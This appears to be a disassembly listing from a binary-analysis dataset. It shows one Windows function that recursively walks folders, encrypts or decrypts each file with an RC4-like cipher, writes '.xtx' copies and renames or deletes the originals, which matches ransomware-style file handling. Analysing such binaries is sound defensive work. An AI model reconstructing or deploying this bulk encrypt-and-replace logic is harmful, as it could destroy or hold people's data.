Function at 0x403574
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x78c
mov dword [ebp - 0x74c], eax
mov byte [ebp - 0x74d], dl
lea esi, [ebp - 0xb0]
mov dword [esp + 8], str..
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00474300
push eax
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
lea ebx, [ebp - 0x78]
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], eax
mov dword [esp], str.PAF:___s_...
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb0]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindFirstFileW
push edx
push edx
mov esi, eax
cmp eax, 0xffffffff
je 0x4038ad
lea ebx, [ebp - 0x2fc]
lea edi, [ebp - 0x1d]
mov eax, dword [ebp - 0x2fc]
cmp eax, 0x2e
je 0x403803
cmp eax, 0x2e002e
jne 0x403660
cmp word [ebp - 0x2f8], 0
je 0x403803
mov eax, dword [ebp - 0x328]
test al, 0x10
je 0x4036fe
lea eax, [ebp - 0x1b]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [ebp - 0x7c]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
lea edx, [ebp - 0xcc]
mov dword [esp], edx
call fcn.0046a604
mov eax, dword [ebp - 0x760]
mov dword [esp], eax
call fcn.00441ab0
lea eax, [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [ebp - 0x84]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [ebp - 0x764], edx
call fcn.00407bc5
push eax
mov ecx, dword [ebp - 0x80]
mov dword [esp + 4], ecx
mov dword [esp], str.dir:___s_
jmp 0x403852
test al, 1
jne 0x403803
mov edx, str.Desktop.ini
mov eax, ebx
call fcn.0040161a
test eax, eax
je 0x403803
mov edx, str.thumbs.db
mov eax, ebx
call fcn.0040161a
test eax, eax
je 0x403803
xor eax, eax
mov edx, ebx
jmp 0x40373f
cmp cx, 0x2e
jne 0x40373c
mov eax, edx
add edx, 2
mov cx, word [edx]
test cx, cx
jne 0x403734
test eax, eax
je 0x40375d
mov edx, str..lnk
call fcn.0040161a
test eax, eax
je 0x403803
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
lea eax, [ebp - 0x8c]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
lea edx, [ebp - 0x88]
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [ebp - 0x764], edx
call fcn.00407bc5
push eax
mov ecx, dword [ebp - 0x88]
mov dword [esp + 4], ecx
mov dword [esp], str.file:___s_
call fcn.0040ace7
mov edx, dword [ebp - 0x764]
mov dword [esp], edx
call fcn.0044b870
mov eax, dword [ebp - 0x760]
mov dword [esp], eax
call fcn.00441ab0
lea eax, [ebp - 0x1e]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [ebp - 0x90]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
lea edx, [ebp - 0xd8]
mov dword [esp], edx
call fcn.0046a604
jmp 0x403865
lea eax, [ebp - 0x1f]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [ebp - 0x98]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
lea edx, [ebp - 0x94]
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
mov dword [esp], edx
mov dword [ebp - 0x764], edx
call fcn.00407bc5
push ecx
mov ecx, dword [ebp - 0x94]
mov dword [esp + 4], ecx
mov dword [esp], str.PAF_skip:___s_
call fcn.0040ace7
mov edx, dword [ebp - 0x764]
mov dword [esp], edx
call fcn.0044b870
mov eax, dword [ebp - 0x760]
mov dword [esp], eax
call fcn.00441ab0
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.DLL_FindNextFileW
push edx
push edx
test eax, eax
jne 0x40363c
mov dword [esp], esi
call sub.KERNEL32.DLL_FindClose
push eax
mov dword [ebp - 0x744], 0
lea edi, [ebp - 0xac]
jmp 0x404300
mov dword [esp], str.PAF:_failed_to_scan_
call fcn.0040ace7
jmp 0x403898
mov esi, dword [ebp - 0x744]
lea ebx, [edx + esi*4]
mov dword [esp + 8], 0x481718
mov eax, dword [ebp - 0x74c]
mov dword [esp + 4], eax
lea edx, [ebp - 0x9c]
mov dword [esp], edx
call fcn.00474300
push esi
lea ecx, [ebp - 0x9c]
mov dword [esp + 4], ecx
mov dword [esp], edi
call fcn.00441500
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00440050
lea ebx, [ebp - 0x9c]
mov dword [esp], ebx
call fcn.00441ab0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000080
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.DLL_CreateFileW
sub esp, 0x1c
mov dword [ebp - 0x73c], eax
mov dword [esp + 4], edi
lea eax, [ebp - 0x74]
mov dword [esp], eax
call fcn.00441500
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x60], 0
lea ebx, [ebp - 0x58]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov dword [esp], str.processing:___s_
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
cmp dword [ebp - 0x73c], 0xffffffff
jne 0x4039cc
lea ebx, [ebp - 0x54]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push ecx
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov dword [esp], str.cant_open:___s_
jmp 0x4042da
mov byte [0x49826c], 1
lea eax, [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetFileSize
push edx
push edx
mov ebx, eax
cmp eax, 0xffffffff
jne 0x4039fe
call sub.KERNEL32.DLL_GetLastError
test eax, eax
jne 0x404444
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], eax
mov dword [esp + 4], ebx
mov dword [esp], str.file_size:__u
call fcn.0040ace7
cmp dword [ebp - 0xbc], 0
ja 0x403a33
cmp dword [ebp - 0xc0], 7
jbe 0x403b56
mov dword [esp + 0x10], 0
lea ebx, [ebp - 0x6c]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 4
lea eax, [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
cmp dword [ebp - 0x6c], 4
jne 0x403b56
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
add eax, 0xfffffff8
adc edx, 0xffffffff
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov dword [esp + 4], 8
lea esi, [ebp - 0xb8]
mov dword [esp], esi
call fcn.0040b177
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov dword [esp], str.0x_08x_:_0x_08x
call fcn.0040ace7
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x740], edx
mov dword [esp + 4], 8
mov dword [esp], esi
call fcn.0040b177
cmp dword [ebp - 0x740], eax
jne 0x403b56
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 4
lea eax, [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
cmp dword [ebp - 0x6c], 4
jne 0x403b56
add dword [ebp - 0xc0], 0xfffffff8
adc dword [ebp - 0xbc], 0xffffffff
lea ebx, [ebp - 0x4c]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov dword [esp], str.file__s_is_encrypted
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
mov byte [0x49826d], 1
mov dword [ebp - 0x740], 1
jmp 0x403b60
mov dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0
je 0x403b92
cmp byte [ebp - 0x74d], 0
je 0x403b92
lea ebx, [ebp - 0x48]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov dword [esp], str.file__s_is_encrypted__failing_
jmp 0x403bbf
movzx eax, byte [ebp - 0x74d]
or eax, dword [ebp - 0x740]
jne 0x403bd6
lea ebx, [ebp - 0x44]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], str.file__s_is_not_encrypted__failing_
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
xor ebx, ebx
or esi, 0xffffffff
jmp 0x40428b
lea esi, [ebp - 0x40]
mov dword [esp + 8], str..xtx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00474300
push eax
mov dword [esp + 4], esi
lea ebx, [ebp - 0x74]
mov dword [esp], ebx
call fcn.00440400
mov dword [esp], esi
call fcn.00441ab0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x88000006
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call sub.KERNEL32.DLL_CreateFileW
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
jne 0x403c84
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push esi
lea esi, [ebp - 0x3c]
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], str.cant_create:___s_
call fcn.0040ace7
mov dword [esp], esi
jmp 0x4042e2
mov dword [esp], 0x400
mov ecx, 4
mov edx, 0x4982b4
lea eax, [ebp - 0x730]
call fcn.00402a73
mov dword [esp], 0x100000
call sub.msvcrt.dll_malloc
mov ebx, eax
cmp dword [ebp - 0x740], 0
jne 0x403d85
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov dword [esp + 4], 8
lea eax, [ebp - 0xc0]
mov dword [esp], eax
call fcn.0040b177
mov dword [ebp - 0x5c], eax
mov dword [esp + 4], eax
mov dword [esp], str.szcrc0x_08x_n
call fcn.0040ace7
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x68]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 4
lea ecx, [ebp - 0x5c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [ebp - 0x764], edx
mov dword [ebp - 0x760], ecx
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
cmp dword [ebp - 0x68], 4
mov edx, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x760]
jne 0x40428b
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], 4
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
cmp dword [ebp - 0x68], 4
jne 0x40428b
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x754], esi
jmp 0x403f0b
cmp edx, 0
ja 0x403dab
cmp eax, 0x100000
ja 0x403dab
mov dword [ebp - 0x748], eax
jmp 0x403db5
mov dword [ebp - 0x748], 0x100000
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x6c]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp - 0x748]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_ReadFile
sub esp, 0x14
mov eax, dword [ebp - 0x6c]
test eax, eax
je 0x403f21
cmp dword [ebp - 0x740], 0
je 0x403e0a
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call fcn.0040b1c5
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x758], edx
mov edx, dword [ebp - 0x330]
mov eax, dword [ebp - 0x32c]
xor ecx, ecx
mov dword [ebp - 0x770], ebx
mov dword [ebp - 0x774], ecx
jmp 0x403e7f
inc edx
movzx edx, dl
mov ecx, dword [ebp + edx*4 - 0x730]
mov byte [ebp - 0x74e], cl
add eax, ecx
movzx eax, al
mov esi, dword [ebp + eax*4 - 0x730]
mov dword [ebp + edx*4 - 0x730], esi
mov dword [ebp + eax*4 - 0x730], ecx
add esi, ecx
and esi, 0xff
mov ebx, dword [ebp + esi*4 - 0x730]
mov ecx, dword [ebp - 0x770]
mov esi, dword [ebp - 0x774]
xor byte [ecx + esi], bl
inc esi
mov dword [ebp - 0x774], esi
mov ebx, dword [ebp - 0x758]
cmp dword [ebp - 0x774], ebx
jl 0x403e2f
mov ebx, dword [ebp - 0x770]
mov dword [ebp - 0x330], edx
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x740], 0
jne 0x403ec1
mov esi, dword [ebp - 0x758]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call fcn.0040b1c5
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x68]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov eax, dword [ebp - 0x754]
mov dword [esp], eax
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
mov edx, dword [ebp - 0x6c]
cmp dword [ebp - 0x68], edx
jne 0x404285
mov eax, dword [ebp - 0x748]
cdq
sub dword [ebp - 0xc0], eax
sbb dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
mov ecx, edx
or ecx, eax
jne 0x403d97
mov esi, dword [ebp - 0x754]
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call fcn.0040b20d
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x740], 0
jne 0x403f96
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 4
mov dword [esp], esi
call sub.KERNEL32.DLL_SetFilePointer
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x68]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
lea eax, [ebp - 0x64]
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.KERNEL32.DLL_WriteFile
sub esp, 0x14
cmp dword [ebp - 0x68], 4
jne 0x40428b
jmp 0x403fd7
cmp eax, dword [ebp - 0x60]
je 0x403fd7
lea eax, [ebp - 0x38]
mov dword [esp + 4], edi
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00407bc5
push ecx
mov edx, dword [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], str.decryption_error:___s_
call fcn.0040ace7
mov eax, dword [ebp - 0x760]
mov dword [esp], eax
call fcn.0044b870
jmp 0x40428b
mov dword [esp], esi
call sub.KERNEL32.DLL_FlushFileBuffers
push ecx
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [esp], ebx
call fcn.0041afa8
mov ebx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x74]
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetFileAttributesW
push edx
inc eax
je 0x4042e7
lea eax, [ebp - 0x19]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov dword [ebp - 0x760], eax
call fcn.00441450
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
lea edx, [ebp - 0x24]
mov dword [esp], edx
call fcn.00407bc5
push ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x73c], ecx
lea edx, [ebp - 0x1a]
mov dword [esp + 8], edx
mov dword [esp + 4], esi
lea edx, [ebp - 0x30]
mov dword [esp], edx
mov dword [ebp - 0x764], edx
call fcn.00441450
mov edx, dword [ebp - 0x764]
mov dword [esp + 4], edx
lea ecx, [ebp - 0x2c]
mov dword [esp], ecx
call fcn.00407bc5
push eax
mov ecx, dword [ebp - 0x73c]
mov dword [esp + 8], ecx
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], str.forcedRename:___s________s_
call fcn.0040ace7
lea ecx, [ebp - 0x2c]
mov dword [esp], ecx
call fcn.0044b870
mov edx, dword [ebp - 0x764]
mov dword [esp], edx
call fcn.00441ab0
lea edx, [ebp - 0x24]
mov dword [esp], edx
call fcn.0044b870
mov eax, dword [ebp - 0x760]
mov dword [esp], eax
call fcn.00441ab0
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetFileAttributesW
push edx
inc eax
jne 0x4041a7
mov dword [esp], str._old_file_only
call fcn.0040ace7
mov eax, esi
call fcn.004015cb
mov dword [ebp - 0x73c], eax
test eax, eax
je 0x40416c
mov dword [esp], str._old_file_opened_ok
call fcn.0040ace7
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.KERNEL32.DLL_MoveFileW
push edx
push edx
test eax, eax
je 0x40414f
mov dword [esp], str._old_file_renamed
call fcn.0040ace7
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_FlushFileBuffers
push eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
jmp 0x40447e
mov dword [esp], str._cant_rename_old_file
call fcn.0040ace7
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
jmp 0x404178
mov dword [esp], str._cant_open_old_file__skiping_to_generic_method
call fcn.0040ace7
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.KERNEL32.DLL_MoveFileW
push ebx
push ebx
test eax, eax
je 0x40419b
mov dword [esp], str._old_file_renamed_with_generic_method
call fcn.0040ace7
jmp 0x40447e
mov dword [esp], str._cant_rename_old_file_with_generic_method
jmp 0x404264
mov eax, ebx
call fcn.004015cb
mov dword [ebp - 0x73c], eax
mov dword [esp], str._both_files
call fcn.0040ace7
cmp dword [ebp - 0x73c], 0
je 0x404230
mov dword [esp], str._trying_to_delete_opened_new_file
call fcn.0040ace7
mov dword [esp], ebx
call sub.KERNEL32.DLL_DeleteFileW
push ecx
test eax, eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
je 0x40421e
call sub.KERNEL32.DLL_FlushFileBuffers
push eax
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetFileAttributesW
push edx
inc eax
jne 0x404215
mov dword [esp], ebx
call sub.KERNEL32.DLL_DeleteFileW
push eax
mov dword [esp], str._opened_new_file_deleted_sucessfully
jmp 0x40422b
call sub.KERNEL32.DLL_CloseHandle
push eax
mov dword [esp], str._cant_delete_opened_new_file
call fcn.0040ace7
mov dword [esp], ebx
call sub.KERNEL32.DLL_GetFileAttributesW
push ecx
inc eax
je 0x4040f1
mov dword [esp], str._trying_generic_deletion
call fcn.0040ace7
mov dword [esp], ebx
call sub.KERNEL32.DLL_DeleteFileW
push edx
test eax, eax
jne 0x4040f1
mov dword [esp], str._generic_deletion_failed
call fcn.0040ace7
jmp 0x4042e7
mov dword [esp + 4], pe_nt_image_headers32
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
call sub.KERNEL32.DLL_SetFileAttributesW
push eax
push eax
jmp 0x4042e7
mov esi, dword [ebp - 0x754]
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push eax
cmp esi, 0xffffffff
je 0x4042b0
mov dword [esp], esi
call sub.KERNEL32.DLL_CloseHandle
push eax
mov eax, dword [ebp - 0x74]
call fcn.00402962
test ebx, ebx
je 0x4042bc
mov dword [esp], ebx
call fcn.0041afa8
lea ebx, [ebp - 0x34]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], str.cant_process:___s_
call fcn.0040ace7
mov dword [esp], ebx
call fcn.0044b870
lea eax, [ebp - 0x74]
mov dword [esp], eax
call fcn.00441ab0
mov dword [esp], edi
call fcn.00441ab0
inc dword [ebp - 0x744]
mov edx, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd4]
sub eax, edx
sar eax, 2
cmp dword [ebp - 0x744], eax
jb 0x4038bb
mov eax, dword [ebp - 0xc8]
sub eax, dword [ebp - 0xcc]
sar eax, 2
mov dword [esp + 4], eax
mov dword [esp], str.processing__u_subdirs...
call fcn.0040ace7
xor ebx, ebx
lea edi, [ebp - 0xa8]
jmp 0x4043f9
lea esi, [ebx*4]
add edx, esi
mov dword [esp + 4], edx
lea edx, [ebp - 0xa0]
mov dword [esp], edx
call fcn.00407bc5
push eax
mov eax, dword [ebp - 0xa0]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], str._u:_trying___s_...
call fcn.0040ace7
lea ecx, [ebp - 0xa0]
mov dword [esp], ecx
call fcn.0044b870
mov eax, dword [ebp - 0xcc]
add eax, esi
mov dword [esp + 8], 0x481718
mov esi, dword [ebp - 0x74c]
mov dword [esp + 4], esi
mov dword [esp], edi
mov dword [ebp - 0x760], eax
call fcn.00474300
push eax
mov dword [esp + 4], edi
lea esi, [ebp - 0xa4]
mov dword [esp], esi
call fcn.00441500
mov eax, dword [ebp - 0x760]
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00440050
movzx edx, byte [ebp - 0x74d]
mov eax, esi
call fcn.00403574
mov dword [esp], esi
call fcn.00441ab0
mov dword [esp], edi
call fcn.00441ab0
inc ebx
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
sub eax, edx
sar eax, 2
cmp ebx, eax
jb 0x404349
lea eax, [ebp - 0xcc]
mov dword [esp], eax
call fcn.0046a648
lea eax, [ebp - 0xd8]
mov dword [esp], eax
call fcn.0046a648
lea eax, [ebp - 0xb0]
mov dword [esp], eax
call fcn.00441ab0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x73c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
push ecx
mov eax, dword [ebp - 0x74]
call fcn.00402962
lea ebx, [ebp - 0x50]
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.00407bc5
push esi
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov dword [esp], str.cant_get_size:___s_
jmp 0x4042da
cmp dword [ebp - 0x740], 0
je 0x4042e7
jmp 0x40426b